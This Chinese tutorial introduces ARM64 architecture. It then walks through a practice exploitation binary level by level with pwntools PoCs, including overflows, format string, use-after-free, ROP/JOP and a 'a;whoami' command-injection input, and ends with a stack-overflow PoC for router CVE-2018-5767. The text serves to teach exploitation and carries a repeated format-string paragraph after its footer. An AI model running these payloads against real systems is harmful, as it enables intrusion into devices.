作者:Ryze-T
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
0x00 簡介
ARM 屬于 CPU 架構的一種,主要應用于嵌入式設備、智能手機、平板電腦、智能穿戴、物聯網設備等。
ARM64 指使用64位ARM指令集,64位指指數據處理能力即一條指令處理的數據寬度,指令編碼使用定長32比特編碼。
0x01 ARM
1.1 字節序
字節序分為大端(BE)和小端(LE):
- 大端序(Big-Endian)將數據的低位字節存放在內存的高位地址,高位字節存放在低位地址。這種排列方式與數據用字節表示時的書寫順序一致,符合人類的閱讀習慣。
- 小端序(Little-Endian)將一個多位數的低位放在較小的地址處,高位放在較大的地址處。小端序與人類的閱讀習慣相反,但更符合計算機讀取內存的方式,因為CPU讀取內存中的數據時,是從低地址向高地址方向進行讀取的。
在v3之前,ARM體系結構為little-endian字節序,此后,ARM處理器成為BI-endian,并具允許可切換字節序。
1.2 寄存器
1.2.1 32位寄存器
R0-R12:正常操作期間存儲臨時值、指針。
其中:
- R0用于存儲先前調用的函數的結果
- R7用于存儲系統調用號
- R11跟蹤用作幀指針的堆棧的邊界,函數調用約定指定函數的前四個參數存儲在寄存器 R0-R3 中
- R13也稱為SP,作為堆棧指針,指向堆棧的頂部
- R14也被稱為 LR,作為鏈接寄存器,進行功能調用時,鏈接寄存器將使用一個內存地址進行更新,該內存地址引用了從其開始該功能的下一條指令,即保存子程序保存的地址
- R15也稱為PC,即程序計數器,程序計數器自動增加執行指令的大小。

當參數少于4個時,子程序間通過寄存器R0~R3來傳遞參數;當參數個數多于4個時,將多余的參數通過數據棧進行傳遞,入棧順序與參數順序正好相反,子程序返回前無需恢復R0~R3的值。
在子程序中,使用R4~R11保存局部變量,若使用需要入棧保存,子程序返回前需要恢復這些寄存器;R12是臨時寄存器,使用不需要保存。 子程序返回32位的整數,使用R0返回;返回64位整數時,使用R0返回低位,R1返回高位。
1.2.2 64位寄存器

1.3 指令
ARM 指令模版:
MNEMONIC{S} {condition} {Rd}, Operand1, Operand2
[!NOTE] MNEMONIC:指令簡稱 {S}:可選后綴,如果指定了S,即可根據結果更新條件標志 {condition}:執行指令需滿足的條件 {Rd}:用于存儲指令結果的寄存器 Operand1:第一個操作數,寄存器或立即數 Operand2:可選,可以是立即數或者帶可移位的寄存器

1.4 棧幀
棧幀是一個函數所使用的那部分棧,所有的函數的棧幀串起來就是一個完整的棧。棧幀的邊界分別由 fp 和 sp 來限定。

FP就是棧基址,它指向函數的棧幀起始地址;SP則是函數的棧指針,它指向棧頂的位置。ARM壓棧的順序依次為當前函數指針PC、返回指針LR、棧指針SP、棧基址FP、傳入參數個數及指針、本地變量和臨時變量。
如果函數準備調用另一個函數,跳轉之前臨時變量區先要保存另一個函數的參數。從main函數進入到func1函數,main函數的上邊界和下邊界保存在被它調用的棧幀里面。
1.5 葉子函數和非葉子函數
葉子函數是指本身不會調用其他函數,非葉子函數相反。非葉子函數在調用時 LR 會被修改,因此需要保留該寄存器的值。在棧溢出的場景下,非葉子函數的利用會比較簡單。
0x02 固件模擬
ARM架構的二進制程序,要進行固件模擬才可以運行和調試。
目前比較主流的方法還是使用QEMU,可以參考路由器固件模擬環境搭建,也可以用一些仿真工具,比如 Firmadyne 和 firmAE。
如果想依靠固件模擬自建一些工具,可以考慮使用 Qiling。
0x03 漏洞
3.1 exploit_me
運行bin目錄下的 expliot64開始進行挑戰:

Level 1: Integer overflow
漏洞觸發代碼如下:

a1 是傳入的第二個參數,atoi 函數可以將傳入的參數字符串轉為整數,然后進行判斷,第一個判斷是判斷轉換后的v2是否為0或負數,若不是,則進入第二個判斷,判斷 v2 的低16位(WORD)是否不為0,即低16位是否為0,若為0則跳過判斷。
atoi 函數存在整數溢出,當輸入 -65536,會轉換為0xffff0000:

此數的低16位是0,因此可以繞過判斷。

Level 2: Stack overflow
漏洞觸發代碼如下:


verify_user 函數會驗證輸入的第一個參數是否為 admin,驗證完成后,會繼續驗證第二個參數是否是 funny,看起來似乎很簡單,但是可以看到即使兩個參數都按照要求輸入,也不會得到 level3 password:

查看第三關的入口,可以看到第三關的password參數為 aVelvet:

通過查找引用可以得到 level3password 這個函數才是輸出 aVelvet 的關鍵函數,但是此函數并未被引用。然而 strcpy(&v3, a1) 這一行偽代碼暴露出存在棧溢出,因此可以通過覆蓋棧上存儲的返回地址,來跳轉到 level3password 函數中。
首先通過 pwndbg cyclic 生成一個長度為200的序列,當作第一個參數輸入:

得到偏移為16。
IDA 查看 level3password 地址為 0x401178,因此構造PoC:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
pad = b'aaaaaaaaaaaaaaaa\x78\x11\x40'
io = process(argv=['./exploit64','help',pad,'123'])
print(io.recv())
得到 password “Velvet”
Level 3: Array overflow
抽出核心代碼為:
a1 = atoi(argv[2]);
a2 = atoi(argv[3]);
_DWORD v3[32]; // [xsp+20h] [xbp+20h]
v3[a1] = a2;
return printf("filling array position %d with %d\n", a1, a2);
這里有很明顯的數組越界寫入的問題。用gdb 進行調試:gdb --args ./exploit64 Velvet 33 1,在 0x401310(str w2, [x1, x0] 數組賦值) 處下斷點,查看寄存器:

可以看到,當執行到賦值語句時,值傳遞是在棧上進行的,因此此處可以實現棧上的覆蓋。
gdbserver配合IDA pro 嘗試:

當傳入參數為34,00000000 時,可以看到此刻執行STR W2, [X1,X0] 是將00000000 傳到 0x000FFFFFFFFEBC0 + 0x84 = 0x000FFFFFFFFEC44 中:

0x000FFFFFFFFEC48 存儲的就是 array_overflow 函數在棧上存儲的返回地址。
因此只要覆蓋此位置就可以劫持程序執行流。與 level2 同理,找到password 函數地址為 0x00000000004012C8
因此構造PoC:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
pad = "4199112"(0x00000000004012C8轉十進制作為字符串傳入)
io = process(argv=['./exploit64','Velvet',"34",pad])
print(io.recv())

Level 4: Off by one
核心代碼如下:

傳入的參數長度不能大于 0x100,復制到v3[256] 后,要使 v4 = 0。
字符串在程序中表示時,其實是會多出一個 "0x00" 來作為字符串到結束符號。因此PoC為:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = 'a' * 256
io = process(argv=['./exploit64','mysecret',payload])
print(io.recv())

Level 5: Stack cookie

Stack Cookie 是為了應對棧溢出采取的防護手段之一,目的是在棧上放入一個檢驗值,若棧溢出Payload在覆蓋棧空間時,也覆蓋了 Stack Cookie,則校驗 Cookie 時會退出。
這里的Stack Cookie 是 secret = 0x1337。

通過匯編可以看出,v2 存儲在 sp+0x58 -- sp+ 0x28 中,所以當 strcpy 沒限制長度時,可以覆蓋棧空間,secret 存儲在 sp+0x6C 中,v3 存儲在 sp+0x68中,因此只要覆蓋這兩個位置為判斷值,就可以完成攻擊。

Level 6: Format string
[!NOTE] 格式化字符串漏洞 格式化字符串漏洞是比較經典的漏洞之一。 printf 函數的第一個參數是字符串,開發者可以使用占位符,將實際要輸出的內容,也就是第二個參數通過占位符標識的格式輸出。 例如:
當第二個參數為空時,程序也可以輸出:
這是因為,printf從棧上取參時,當第一個參數中存在占位符,它會認為第二個參數也已經壓入棧,因此通過這種方式可以讀到棧上存儲的值。 格式化字符串漏洞的典型利用方法有三個: 1. 棧上數據,如上所述 2. 任意地址讀: 當占位符為%s時,讀取的第二個參數會被當作目標字符串的地址,因此如果可以在棧上寫入目標地址,然后作為第二個參數傳遞給printf,就可以實現任意地址讀 3. 任意地址寫: 當占位符為%n時,其含義是將占位符之前成功輸出的字節數寫入到目標地址中,因此可以實現任意地址寫,如:
一般配合%c使用,%c可以輸出一個字符,在利用時通過會使用
程序邏輯為:


程序邏輯為輸入 password,打印 password,判斷 v1 是否為 89,是則輸出密碼。
這里 printf(Password),Password 完全可控,這里存在格式化字符串漏洞。
通過匯編可以看到:


Arm64 函數調用時前八個參數會存入 x0-x7 寄存器,因此第8個占位符會從棧上開始取參,sp+0x18 是我們需要修改的地址,因此偏移為 7+3=10。
PoC為:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = '%16lx'*9+'%201c%n' # 16*9+201=345=0x159
io = process(argv=['./exploit64','happyness'])
io.sendline(payload)
print(io.recv())

Level 7: Heap overflow

v7 和 v8 都是創建的堆空間,且在 strcpy 時未規定長度,因此可以產生堆溢出,從而覆蓋到v7的堆空間,完成判斷。
通過 pwngdb 生成測試字符串,在 printf處下斷點,查看 v7 是否被覆蓋和偏移:

通過 x1 寄存器可知,偏移為 48。
因此 PoC為:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = 'A'*48 + '\x63\x67'
io = process(argv=['./exploit64','mypony',payload])
#io.sendline(payload)
print(io.recv())

Level 8: Structure redirection / Type confusion

一直跟進Msg:Msg:

而在strcpy 下面一行有用 v12 作為函數指針執行,v12 = v2 = &Run::Run(v2),

因此需要通過strcpy覆蓋棧空間上存儲的v12,來控制函數執行流。且覆蓋為0x4c55a0,從而在取出 v12 當作函數指針執行時可以指向Msg::msg:

根據匯編,v12 存儲在 sp+0x90-0x10 = sp+0x80 處,strcpy 從 sp+0x90-0x68 = sp+0x28 處開始,偏移為 0x80-0x28 - 0x8 = 0x50。
因此PoC為:./exploit64 Exploiter $(python -c 'import sys;sys.stdout.buffer.write(b"A"*(20*4)+b"\xa0\x55\x4c\x00\x00\x00\x00\x00")')

Level 9: Zero pointers



先使用 gdb 調試, gdb --args ./exploit64 Gimme a 1,程序報錯:

第二個參數應該填寫的是地址:

在程序執行過程中,v4指向的值會被置0,v4指向的是a1的地址,因此a1地址指向的值會變為0。
因此要想完成 v3 的判斷,只需要將 v3 地址傳入即可。
PoC為./exploit64 Gimme 0xffffffffec9c 1:

Level 10: Command injection

關鍵點 v9 = "man" + *(a2+16),v9中要包含 “;” 才可以完成判斷。
因此 PoC 為 ./exploit64 Fun "a;whoami":

Level 11: Path Traversal

PoC為./exploit64 Violet dir1/dir2/../..

Level 12: Return oriented programming (ROP)
scanf 并未限制長度,因此此處存在溢出,通過pwndbg 的 cyclic 得到偏移為72。
現在目的是跳到 comp 函數中,且參數要為 0x5678:

因此需要構造 Rop Gadget,構造的 Gadget 應該具備以下功能,將comp 判斷的地址 0x400784加入lr寄存器(x30),并能執行 ret,這樣就可以在溢出時,將程序執行流劫持到 Rop Gadget 的地址。

這樣在跳轉時這個地址會被壓棧作為 Rop 的 ret 的返回地址。
程序給了一個叫 ropgadgetstack 的 rop Gadget:

通過調試可知,x0 和 x1 在 0x400744 執行后都為當前sp寄存器存儲的值,因此 0x400784的比較可以正常完成;lr寄存器,也就是x30 = (0x400744 時)sp+0x10 + 0x8。
輸入 payload = b'A'*72 + p64(0x400744) + b'BBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP' 進行調試:

可知,paylad 從 0x400744后,再填充32個字符開始,會覆蓋到當前$sp,因此只要再覆蓋24個字符后,覆蓋為 0x400784 就可以在 ret 執行后跳到 comp 的比較處。payload為 payload = b'A'*72 + p64(0x400744) + b'B'*32 + b'C'*16 + b'D'*8 + p64(0x400784)

Level 13: Use-after-free


根據代碼邏輯可看出,輸入的第二個參數決定了執行 switch 幾次以及執行那一個選項,0是 malloc,mappingstr就指向堆塊;1是 free;2 是函數指針執行;3是 malloc,且malloc 申請地址后存儲的值就是 command。
很明顯這是一個Use After Free,通過0創建一個堆塊,mappingstr不為空此時再 free mappingstr,再malloc一個相同大小的堆塊,就可以申請到 mappingstr 的堆塊,復制 command 到堆塊后,再通過函數指針執行。level13password函數地址是 0x4008c4。
因此 payload 為:payload = b'a' * 64 + p64(0x4008c4)
執行參數為 0312:

Level 14: Jump oriented programming (JOP)
與ROP不同,JOP 是使用程序間接接跳轉和間接調用指令來改變程序的控制流,當程序在執行間接跳轉或者是間接調用指令時,程序將從指定寄存器中獲得其跳轉的目的地址,由于這些跳轉目的地址被保存在寄存器中,而攻擊者又能通過修改棧中的內容來修改寄存器內容,這使得程序中間接跳轉和間接調用的目的地址能被攻擊者篡改,從而劫持了程序的執行流。

關鍵點在兩個 fread 上,第一個 fread 將文件中的4個字節讀到 v2 中,第二個read 又將 v2 作為讀取字節數,從 v5 中讀取到 v3,v3 分配在棧空間上,因此這里會出現棧溢出。
看匯編會更明顯:

通過 gdb 測試,得到偏移為 52。
往一個文件里寫入 data = b'A'*52 + p64(0x400898)
執行:

3.2 CVE 案例
CVE-2018-5767
具體分析過程可見:CVE-2018-5767
漏洞觸發點在:

此處存在一個未經驗證的 sscanf,它會將 v40 中存儲的值按照 "%*[^=]=%[^;];*" 格式化輸入到 v33,但是并未驗證字符串長度,因此此處會產生一個棧溢出。
PoC 如下:
import requests
url = "http://10.211.55.4:80/goform/execCommand"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
'Cookie': 'password=' + payload
}
print(headers)
response = requests.request("GET", url, headers=headers)
通過遠程調試可觀察到,在 PoC 執行后:

由于棧溢出,PC 寄存器被覆蓋,導致程序執行到錯誤的內存地址而報錯。偏移量為444。
0x04 總結
ARM的分析與x86類似,只是在函數調用、寄存器等方面存在差異,相對來說保護機制也較弱,且應用場景更為廣泛,如IOT設備、車聯網等,如果能順利完成固件提取,可玩性相對較高。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2064/
當第二個參數為空時,程序也可以輸出:
這是因為,printf從棧上取參時,當第一個參數中存在占位符,它會認為第二個參數也已經壓入棧,因此通過這種方式可以讀到棧上存儲的值。
格式化字符串漏洞的典型利用方法有三個:
1. 棧上數據,如上所述
2. 任意地址讀:
當占位符為%s時,讀取的第二個參數會被當作目標字符串的地址,因此如果可以在棧上寫入目標地址,然后作為第二個參數傳遞給printf,就可以實現任意地址讀
3. 任意地址寫:
當占位符為%n時,其含義是將占位符之前成功輸出的字節數寫入到目標地址中,因此可以實現任意地址寫,如:
一般配合%c使用,%c可以輸出一個字符,在利用時通過會使用